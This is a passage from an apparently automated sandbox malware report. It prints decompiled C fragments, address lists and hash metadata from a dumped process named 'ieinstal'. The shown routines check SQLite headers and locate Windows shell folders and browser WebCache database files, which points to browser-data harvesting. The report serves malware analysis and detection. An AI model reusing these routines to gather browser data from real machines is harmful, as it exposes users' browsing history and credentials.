				short _t88;
				signed int _t96;
				signed int _t100;
				intOrPtr _t103;
				intOrPtr _t104;
				intOrPtr _t111;
				intOrPtr _t114;
				intOrPtr* _t115;
				void* _t116;
				signed int _t122;
				void* _t128;
				signed int _t136;
				signed int _t138;
				intOrPtr _t143;
				signed int _t144;
				intOrPtr _t145;
				signed int _t147;
				void* _t149;
				void* _t159;

				_t128 = __edx;
				_t116 = __ecx;
				_t115 = __ebx;
				_t75 = E0041BC3B( *__ebx); // executed
				_t152 = _t75;
				if(_t75 == 0) {
					_t75 = E0041EDAD(_t116, 1, __ebx, _t152,  &_v8, _t75); // executed
					if(_t75 == 0) {
						_t136 = _v8;
						_t79 = E00416F90( *((intOrPtr*)(_t136 + 0x40)) + 0x1c);
						_t143 =  *((intOrPtr*)( *__ebx + 0x18));
						_v28 = _t79;
						_v16 = _t79;
						_v24 = _t143;
						if(_t79 == 0) {
							L4:
							_v16 = _t143;
							L5:
							if(_v16 <= 0) {
								L27:
								_t144 =  *((intOrPtr*)(_t115 + 0x24)) - 0xc;
								 *((short*)(_t115 + 0x18)) = (_t144 << 6) / 0xff - 0x17;
								_t88 = (_t144 << 5) / 0xff + 0xffffffe9;
								 *((short*)(_t115 + 0x1a)) = _t88;
								 *((short*)(_t115 + 0x1e)) = _t88;
								 *(_t115 + 0xc) = _v8;
								_t122 =  *((intOrPtr*)(_t115 + 0x24)) - 0x23;
								__eflags = _t122;
								 *(_t115 + 0x1c) = _t122;
								 *((intOrPtr*)(_t115 + 0x2c)) = _v16;
								L28:
								return 0;
							}
							_t145 =  *((intOrPtr*)(_t136 + 0x40));
							_v12 = 0x1a;
							0x446658(_t145, "SQLite format 3", 0x10);
							if(_t79 != 0) {
								L24:
								E0041EE6B(_v8);
								 *(_t115 + 0xc) =  *(_t115 + 0xc) & 0x00000000;
								return _v12;
							}
							if( *((char*)(_t145 + 0x12)) > 2) {
								 *((char*)(_t115 + 0x10)) = 1;
							}
							_t159 =  *((intOrPtr*)(_t145 + 0x13)) - 2;
							if(_t159 > 0) {
								goto L24;
							} else {
								if(_t159 != 0 ||  *((char*)(_t115 + 0x16)) != 0) {
									L16:
									_t96 = _t145 + 0x15;
									0x446658(_t96, "@  ", 3);
									__eflags = _t96;
									if(_t96 != 0) {
										goto L24;
									}
									_t138 =  *(_t145 + 0x10) << 8;
									_t100 = _t138 - 1;
									__eflags = _t138 & _t100;
									if((_t138 & _t100) != 0) {
										goto L24;
									}
									__eflags = _t138 - 0x101 - 0xfeff;
									if(_t138 - 0x101 > 0xfeff) {
										goto L24;
									}
									_t147 = _t138 - ( *(_t145 + 0x14) & 0x000000ff);
									__eflags = _t138 -  *(_t115 + 0x20);
									_v20 = _t147;
									if(_t138 ==  *(_t115 + 0x20)) {
										_t103 =  *((intOrPtr*)(_t115 + 4));
										__eflags =  *(_t103 + 0xc) & 0x00800000;
										if(( *(_t103 + 0xc) & 0x00800000) != 0) {
											L25:
											__eflags = _t147 - 0x1e0;
											if(_t147 < 0x1e0) {
												goto L24;
											}
											 *(_t115 + 0x20) = _t138;
											 *((intOrPtr*)(_t115 + 0x24)) = _t147;
											goto L27;
										}
										_t104 = _v24;
										__eflags = _v28 - _t104;
										if(_v28 <= _t104) {
											goto L25;
										}
										0x4446ce(0xbb28);
										_v12 = _t104;
										goto L24;
									}
									E0041EE6B(_v8);
									 *((intOrPtr*)(_t115 + 0x24)) = _t147;
									 *(_t115 + 0x20) = _t138;
									E0041907D(_t128,  *(_t115 + 0x40));
									 *(_t115 + 0x40) =  *(_t115 + 0x40) & 0x00000000;
									_t42 = _t115 + 0x20; // 0x85
									return E0041B1CA( *_t115, _t42, _t138 - _v20);
								} else {
									_v20 = _v20 & 0x00000000;
									_t111 = E0041C8DF( *_t115,  &_v20);
									_v12 = _t111;
									if(_t111 != 0) {
										goto L24;
									}
									if(_v20 != _t111) {
										_v12 = 0x1a;
										goto L16;
									}
									E0041EE6B(_v8);
									goto L28;
								}
							}
						}
						_t114 =  *((intOrPtr*)(_t136 + 0x40));
						_t79 = _t114 + 0x18;
						0x446658(_t79, _t114 + 0x5c, 4);
						_t149 = _t149 + 0xc;
						if(_t79 == 0) {
							goto L5;
						}
						goto L4;
					}
				}
				return _t75;
			}
































                                                                                                                            0x0041f1a5
                                                                                                                            0x0041f1a5
                                                                                                                            0x0041f1a5
                                                                                                                            0x0041f1af
                                                                                                                            0x0041f1b4
                                                                                                                            0x0041f1b6
                                                                                                                            0x0041f1c6
                                                                                                                            0x0041f1cf
                                                                                                                            0x0041f1d5
                                                                                                                            0x0041f1de
                                                                                                                            0x0041f1e7
                                                                                                                            0x0041f1ea
                                                                                                                            0x0041f1ed
                                                                                                                            0x0041f1f0
                                                                                                                            0x0041f1f3
                                                                                                                            0x0041f20e
                                                                                                                            0x0041f20e
                                                                                                                            0x0041f211
                                                                                                                            0x0041f215
                                                                                                                            0x0041f349
                                                                                                                            0x0041f34c
                                                                                                                            0x0041f364
                                                                                                                            0x0041f373
                                                                                                                            0x0041f376
                                                                                                                            0x0041f37a
                                                                                                                            0x0041f381
                                                                                                                            0x0041f387
                                                                                                                            0x0041f387
                                                                                                                            0x0041f38b
                                                                                                                            0x0041f38f
                                                                                                                            0x0041f392
                                                                                                                            0x00000000
                                                                                                                            0x0041f392
                                                                                                                            0x0041f21b
                                                                                                                            0x0041f226
                                                                                                                            0x0041f22d
                                                                                                                            0x0041f237
                                                                                                                            0x0041f32a
                                                                                                                            0x0041f32d
                                                                                                                            0x0041f332
                                                                                                                            0x00000000
                                                                                                                            0x0041f336
                                                                                                                            0x0041f241
                                                                                                                            0x0041f243
                                                                                                                            0x0041f243
                                                                                                                            0x0041f24a
                                                                                                                            0x0041f24c
                                                                                                                            0x00000000
                                                                                                                            0x0041f252
                                                                                                                            0x0041f252
                                                                                                                            0x0041f28e
                                                                                                                            0x0041f290
                                                                                                                            0x0041f299
                                                                                                                            0x0041f2a1
                                                                                                                            0x0041f2a3
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0041f2b2
                                                                                                                            0x0041f2b4
                                                                                                                            0x0041f2b7
                                                                                                                            0x0041f2b9
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0041f2c1
                                                                                                                            0x0041f2c6
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0041f2ce
                                                                                                                            0x0041f2d0
                                                                                                                            0x0041f2d3
                                                                                                                            0x0041f2d6
                                                                                                                            0x0041f308
                                                                                                                            0x0041f30b
                                                                                                                            0x0041f312
                                                                                                                            0x0041f33b
                                                                                                                            0x0041f33b
                                                                                                                            0x0041f341
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0041f343
                                                                                                                            0x0041f346
                                                                                                                            0x00000000
                                                                                                                            0x0041f346
                                                                                                                            0x0041f314
                                                                                                                            0x0041f317
                                                                                                                            0x0041f31a
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0041f321
                                                                                                                            0x0041f327
                                                                                                                            0x00000000
                                                                                                                            0x0041f327
                                                                                                                            0x0041f2db
                                                                                                                            0x0041f2e0
                                                                                                                            0x0041f2e6
                                                                                                                            0x0041f2e9
                                                                                                                            0x0041f2f1
                                                                                                                            0x0041f2f8
                                                                                                                            0x00000000
                                                                                                                            0x0041f25a
                                                                                                                            0x0041f25c
                                                                                                                            0x0041f264
                                                                                                                            0x0041f26c
                                                                                                                            0x0041f26f
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0041f278
                                                                                                                            0x0041f287
                                                                                                                            0x00000000
                                                                                                                            0x0041f287
                                                                                                                            0x0041f27d
                                                                                                                            0x00000000
                                                                                                                            0x0041f27d
                                                                                                                            0x0041f252
                                                                                                                            0x0041f24c
                                                                                                                            0x0041f1f5
                                                                                                                            0x0041f1fe
                                                                                                                            0x0041f202
                                                                                                                            0x0041f207
                                                                                                                            0x0041f20c
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0041f20c
                                                                                                                            0x0041f1cf
                                                                                                                            0x0041f397

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcmp
                                                                                                                            • String ID: @ $SQLite format 3
                                                                                                                            • API String ID: 1475443563-3708268960
                                                                                                                            • Opcode ID: 82854fe69cd6f085c01fb16587ca6c24c159481fbb1fdb23c3f30c43337b22d0
                                                                                                                            • Instruction ID: a5e199d7c3355b23248e204991ed7883f9cb1cefd3641e4a8180bf992d12f390
                                                                                                                            • Opcode Fuzzy Hash: 82854fe69cd6f085c01fb16587ca6c24c159481fbb1fdb23c3f30c43337b22d0
                                                                                                                            • Instruction Fuzzy Hash: 9051C1719002199BDF10DFA9C4817DEB7F4AF44314F1541AAEC14EB246E778EA8ACB88
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00414C2E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77registryCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 25%
                                                                                                                            			E00414C2E(void* __eax, wchar_t* __ebx) {
				void* _v8;
				char _v72;
				void _v590;
				long _v592;
				void* __esi;
				void* _t32;
				wchar_t* _t33;
				void* _t40;

				_t33 = __ebx;
				_t40 = __eax;
				E00414B81();
				if( *0x45da88 == 0 ||  *((intOrPtr*)(E00409CEA() + 0x10)) == 1 && (_t40 == 0x19 || _t40 == 0x17 || _t40 == 0x16)) {
					_v592 = 0;
					memset( &_v590, 0, 0x206);
					if(_t40 == 0x19 || _t40 == 0x17 || _t40 == 0x16) {
						_push( &_v8);
						_push("Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders");
						_push(0x80000002);
					} else {
						_push( &_v8);
						_push("Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders");
						_push(0x80000001);
					}
					if(E00414592() == 0) {
						E00414BB0(_t40);
						E004145AC(0x104,  &_v72,  &_v592, _v8,  &_v72);
						RegCloseKey(_v8);
					}
					wcscpy(_t33,  &_v592);
					return 0 |  *_t33 != 0x00000000;
				} else {
					_t32 =  *0x45da88(0, _t33, _t40, 0); // executed
					return _t32;
				}
			}











                                                                                                                            0x00414c2e
                                                                                                                            0x00414c39
                                                                                                                            0x00414c3b
                                                                                                                            0x00414c48
                                                                                                                            0x00414c80
                                                                                                                            0x00414c87
                                                                                                                            0x00414c92
                                                                                                                            0x00414ca1
                                                                                                                            0x00414ca2
                                                                                                                            0x00414ca7
                                                                                                                            0x00414cae
                                                                                                                            0x00414cb1
                                                                                                                            0x00414cb2
                                                                                                                            0x00414cb7
                                                                                                                            0x00414cb7
                                                                                                                            0x00414cc6
                                                                                                                            0x00414ccd
                                                                                                                            0x00414ce4
                                                                                                                            0x00414cee
                                                                                                                            0x00414cee
                                                                                                                            0x00414cfc
                                                                                                                            0x00000000
                                                                                                                            0x00414c64
                                                                                                                            0x00414c68
                                                                                                                            0x00000000
                                                                                                                            0x00414c68

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00414B81: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 00414BA4
                                                                                                                            • memset.MSVCRT ref: 00414C87
                                                                                                                            • RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                            • wcscpy.MSVCRT ref: 00414CFC
                                                                                                                              • Part of subcall function 00409CEA: GetVersionExW.KERNEL32(0045D340,0000001A,00414C4F,?,00000000), ref: 00409D04
                                                                                                                            Strings
                                                                                                                            • Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 00414CA2, 00414CB2
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AddressCloseProcVersionmemsetwcscpy
                                                                                                                            • String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
                                                                                                                            • API String ID: 2705122986-2036018995
                                                                                                                            • Opcode ID: e6b24c1e526a7e6b175339e46d2c1329f14507f19ad0c7641bd2f64e2867ccb0
                                                                                                                            • Instruction ID: cfba8ba70a3d5c5eb0df7add68d4968905301debfffe1ddd107e81ced3c7690c
                                                                                                                            • Opcode Fuzzy Hash: e6b24c1e526a7e6b175339e46d2c1329f14507f19ad0c7641bd2f64e2867ccb0
                                                                                                                            • Instruction Fuzzy Hash: EE110B31802224ABDB24A7999C4E9EF736CDBD1315F2200A7F80562151F6685EC5C6DE
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004110DC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 65%
                                                                                                                            			E004110DC(void* __eax) {
				void* __ebx;
				void* __edi;
				short* __esi;
				void* _t23;
				int _t26;
				void* _t35;
				intOrPtr* _t42;

				_t35 = __eax;
				if( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x6a4)) + 0x30)) <= 0) {
					L8:
					E0040969C();
					 *((intOrPtr*)( *((intOrPtr*)(_t35 + 0x694)) + 0x30)) = 0;
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t35 + 0x694)))) + 0x70))();
					_t23 = E0040ADA2( *((intOrPtr*)(_t35 + 0x6a4)), "/nosort");
					__eflags = _t23 - 0xffffffff;
					if(_t23 != 0xffffffff) {
						L12:
						goto L1;
					}
					__eflags =  *0x45da78;
					_t42 =  *((intOrPtr*)(_t35 + 0x694));
					if( *0x45da78 == 0) {
						 *0x45d9f8 =  *((intOrPtr*)(_t42 + 0x2cc));
						 *0x45da78 = 1;
					}
					_t26 =  *((intOrPtr*)( *_t42 + 0x74))();
					qsort(E0040E7C4(_t42, 0),  *(_t42 + 0x30), _t26, E00410C1F);
					goto L12;
				} else {
					do {
						__ecx = __esi;
						__eax = E0040AD92(__eax, __esi);
						0x44662e("/sort");
						__eflags = __eax;
						_pop(__ecx);
						__ecx = __eax;
						if(__eax == 0) {
							__eax =  *((intOrPtr*)(__edi + 0x6a4));
							_t4 = __esi + 1; // 0x1
							__ecx = _t4;
							__ecx = E0040AD92( *((intOrPtr*)(__edi + 0x6a4)), _t4);
							__eflags =  *__ecx - 0x7e;
							__eax =  *((intOrPtr*)(__edi + 0x694));
							if(__eflags != 0) {
							} else {
								_push(1);
								__ecx = __ecx + 2;
							}
							_push(__ecx);
							__eax = E00410C46(__eax, __eflags);
						}
						__eax =  *((intOrPtr*)(__edi + 0x6a4));
						__esi = __esi + 1;
						__eflags = __esi -  *((intOrPtr*)(__eax + 0x30));
					} while (__esi <  *((intOrPtr*)(__eax + 0x30)));
					goto L8;
				}
				L1:
				return SetCursor( *0x45a534);
			}










                                                                                                                            0x004110df
                                                                                                                            0x004110ee
                                                                                                                            0x0041113e
                                                                                                                            0x0041113e
                                                                                                                            0x00411149
                                                                                                                            0x00411154
                                                                                                                            0x00411162
                                                                                                                            0x00411167
                                                                                                                            0x0041116a
                                                                                                                            0x004111af
                                                                                                                            0x00000000
                                                                                                                            0x004111b1
                                                                                                                            0x0041116c
                                                                                                                            0x00411172
                                                                                                                            0x00411178
                                                                                                                            0x00411180
                                                                                                                            0x00411185
                                                                                                                            0x00411185
                                                                                                                            0x0041119b
                                                                                                                            0x004111a7
                                                                                                                            0x00000000
                                                                                                                            0x004110f0
                                                                                                                            0x004110f0
                                                                                                                            0x004110f0
                                                                                                                            0x004110f2
                                                                                                                            0x004110fd
                                                                                                                            0x00411102
                                                                                                                            0x00411104
                                                                                                                            0x00411105
                                                                                                                            0x00411106
                                                                                                                            0x00411108
                                                                                                                            0x0041110e
                                                                                                                            0x0041110e
                                                                                                                            0x00411116
                                                                                                                            0x00411118
                                                                                                                            0x0041111c
                                                                                                                            0x00411122
                                                                                                                            0x00411124
                                                                                                                            0x00411124
                                                                                                                            0x00411126
                                                                                                                            0x00411126
                                                                                                                            0x0041112c
                                                                                                                            0x0041112d
                                                                                                                            0x0041112d
                                                                                                                            0x00411132
                                                                                                                            0x00411138
                                                                                                                            0x00411139
                                                                                                                            0x00411139
                                                                                                                            0x00000000
                                                                                                                            0x004110f0
                                                                                                                            0x004096b6
                                                                                                                            0x004096c2

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _wcsicmpqsort
                                                                                                                            • String ID: /nosort$/sort
                                                                                                                            • API String ID: 1579243037-1578091866
                                                                                                                            • Opcode ID: 82532bcf7625f57df0476c9ea77f38d24af0b860564a5aebd85b14b7cf50dee8
                                                                                                                            • Instruction ID: 59a4a6edbc2c6816dd96362f3638b70d105e8990563e463c72bda517b6347aa4
                                                                                                                            • Opcode Fuzzy Hash: 82532bcf7625f57df0476c9ea77f38d24af0b860564a5aebd85b14b7cf50dee8
                                                                                                                            • Instruction Fuzzy Hash: C8213770700201AFD714FB36C880E96F3AAFF58314F11012EE61897692DB39BC918B4A
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040E5ED Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 61COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 0040E60F
                                                                                                                            • memset.MSVCRT ref: 0040E629
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                              • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                            Strings
                                                                                                                            • Microsoft\Windows\WebCache\WebCacheV24.dat, xrefs: 0040E66F
                                                                                                                            • Microsoft\Windows\WebCache\WebCacheV01.dat, xrefs: 0040E647
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memsetwcslen$AttributesFilewcscatwcscpy
                                                                                                                            • String ID: Microsoft\Windows\WebCache\WebCacheV01.dat$Microsoft\Windows\WebCache\WebCacheV24.dat
                                                                                                                            • API String ID: 3354267031-2114579845
                                                                                                                            • Opcode ID: 74f633d4b8b79b581db03fb52a9a183d925aa75474fb6f674f7548ec87be104c
                                                                                                                            • Instruction ID: 2f29c334d396001d9fe1cebc89c879271eb53039ccc8e03d5a3365d75131e7c5
                                                                                                                            • Opcode Fuzzy Hash: 74f633d4b8b79b581db03fb52a9a183d925aa75474fb6f674f7548ec87be104c
                                                                                                                            • Instruction Fuzzy Hash: 66118AB3D4012C66EB10E755EC85FDB73ACAF14319F1408B7B904F11C2E6B89F984998
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004148B6 Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • FindResourceW.KERNELBASE(?,?,?), ref: 004148C3
                                                                                                                            • SizeofResource.KERNEL32(?,00000000), ref: 004148D4
                                                                                                                            • LoadResource.KERNEL32(?,00000000), ref: 004148E4
                                                                                                                            • LockResource.KERNEL32(00000000), ref: 004148EF
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Resource$FindLoadLockSizeof
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3473537107-0
                                                                                                                            • Opcode ID: 6eac18842e5c85fe8f5858b83388748d76eef83a8f56414f10f835c55d74c1c4
                                                                                                                            • Instruction ID: 8a72e2f5d7590eb6bb033c3ed88c96ec9d5eb8bcd973c23d1c6560583cb0a60d
                                                                                                                            • Opcode Fuzzy Hash: 6eac18842e5c85fe8f5858b83388748d76eef83a8f56414f10f835c55d74c1c4
                                                                                                                            • Instruction Fuzzy Hash: 0101D2727402156B8B294FB6DD4999BBFAEFFC6391308803AF809D6331DA31C851C688
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0044DEF7 Relevance: 6.0, APIs: 4, Instructions: 25COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 613200358-0
                                                                                                                            • Opcode ID: 51118905c2728d810469e0c59db0571482045495d4d228400e43909190034b47
                                                                                                                            • Instruction ID: aa45652f999bbb0892b85dcd7393972dd4dfe4e89c7b59a5f1a68188070d07e1
                                                                                                                            • Opcode Fuzzy Hash: 51118905c2728d810469e0c59db0571482045495d4d228400e43909190034b47
                                                                                                                            • Instruction Fuzzy Hash: 5EE08C60F0830052BA31EBBABD40E2723EC5E1AB4271A842FB905C3282CE2CC880C02D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0043A9F6 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 979COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            • only a single result allowed for a SELECT that is part of an expression, xrefs: 0043AAD3
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset
                                                                                                                            • String ID: only a single result allowed for a SELECT that is part of an expression
                                                                                                                            • API String ID: 2221118986-1725073988
                                                                                                                            • Opcode ID: f2ccd9f22684a9d505166f2bd917588c88a2d89474e41d8808a21707a3bb0a12
                                                                                                                            • Instruction ID: 0c5fbdb45af1b87466ede92b40025f4dfba1e1eb7e0419b48c64bc8603b8f36f
                                                                                                                            • Opcode Fuzzy Hash: f2ccd9f22684a9d505166f2bd917588c88a2d89474e41d8808a21707a3bb0a12
                                                                                                                            • Instruction Fuzzy Hash: 5D827A71608340AFD720DF15C881B1BBBE1FF88318F14491EFA9987262D779E954CB96
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004175B7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24sleepCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • Sleep.KERNEL32(00000064), ref: 004175D0
                                                                                                                            • FindCloseChangeNotification.KERNELBASE(?,00000000,?,0045DBC0,00417C24,?,00000000,00000000,?,00417DE1,?,00000000), ref: 004175D9
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ChangeCloseFindNotificationSleep
                                                                                                                            • String ID: }A
                                                                                                                            • API String ID: 1821831730-2138825249
                                                                                                                            • Opcode ID: d8d89497e8f27404fcbaadc135fdc6127e9b1f5305c348180eeea445c8f3bba2
                                                                                                                            • Instruction ID: 75b622f9be81829505acbf4f2e76dfbd2ea822dc2a3448742147a61f3b6dc806
                                                                                                                            • Opcode Fuzzy Hash: d8d89497e8f27404fcbaadc135fdc6127e9b1f5305c348180eeea445c8f3bba2
                                                                                                                            • Instruction Fuzzy Hash: B7E0CD3B1045156ED500577DDCC099773E9EF892347144226F171C25D0C6759C828524
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004125B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@DeleteObject
                                                                                                                            • String ID: r!A
                                                                                                                            • API String ID: 1103273653-628097481
                                                                                                                            • Opcode ID: 50c536e2c83fb8bec4500b48a67d64bb266b61e0188dcb515110e4721c15bf1b
                                                                                                                            • Instruction ID: d381ae2e1f6c469d4091c7bd434485f036f098756071eb86a226830a39d2e28c
                                                                                                                            • Opcode Fuzzy Hash: 50c536e2c83fb8bec4500b48a67d64bb266b61e0188dcb515110e4721c15bf1b
                                                                                                                            • Instruction Fuzzy Hash: 72E04F75000302DFD7115F26E400782B7F5FF85315F11455EE89497151EBB96164CE19
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040D092 Relevance: 5.1, APIs: 4, Instructions: 51COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??2@
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1033339047-0
                                                                                                                            • Opcode ID: bb5a2cedd882201272bd117211a6380788fbbee7b2a1ea69d9384cb42441e8af
                                                                                                                            • Instruction ID: 5f4fc1bc6a90e200713bb7744dd8ab6a017b0cf4e98027731d5581fdeff4b0c3
                                                                                                                            • Opcode Fuzzy Hash: bb5a2cedd882201272bd117211a6380788fbbee7b2a1ea69d9384cb42441e8af
                                                                                                                            • Instruction Fuzzy Hash: B00121B2A413005EEB7ADF38EE5772966A0AF4C351F01453EA246CD1F6EEF58480CB49
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00444B06 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 108COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 004449E7
                                                                                                                              • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 004449F8
                                                                                                                              • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A09
                                                                                                                              • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A1A
                                                                                                                              • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A2B
                                                                                                                              • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A3C
                                                                                                                              • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A4D
                                                                                                                            • memcmp.MSVCRT ref: 00444BA5
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AddressProc$memcmp
                                                                                                                            • String ID: $$8
                                                                                                                            • API String ID: 2808797137-435121686
                                                                                                                            • Opcode ID: e80885fdbb6a557c0c44277052daa68a3f3074bd67b4db13da85d3ecc8de475b
                                                                                                                            • Instruction ID: 2c4e4273d6b09173b98ec99ba1a72f96ebc6587eba5c15334d9e54441f883a66
                                                                                                                            • Opcode Fuzzy Hash: e80885fdbb6a557c0c44277052daa68a3f3074bd67b4db13da85d3ecc8de475b
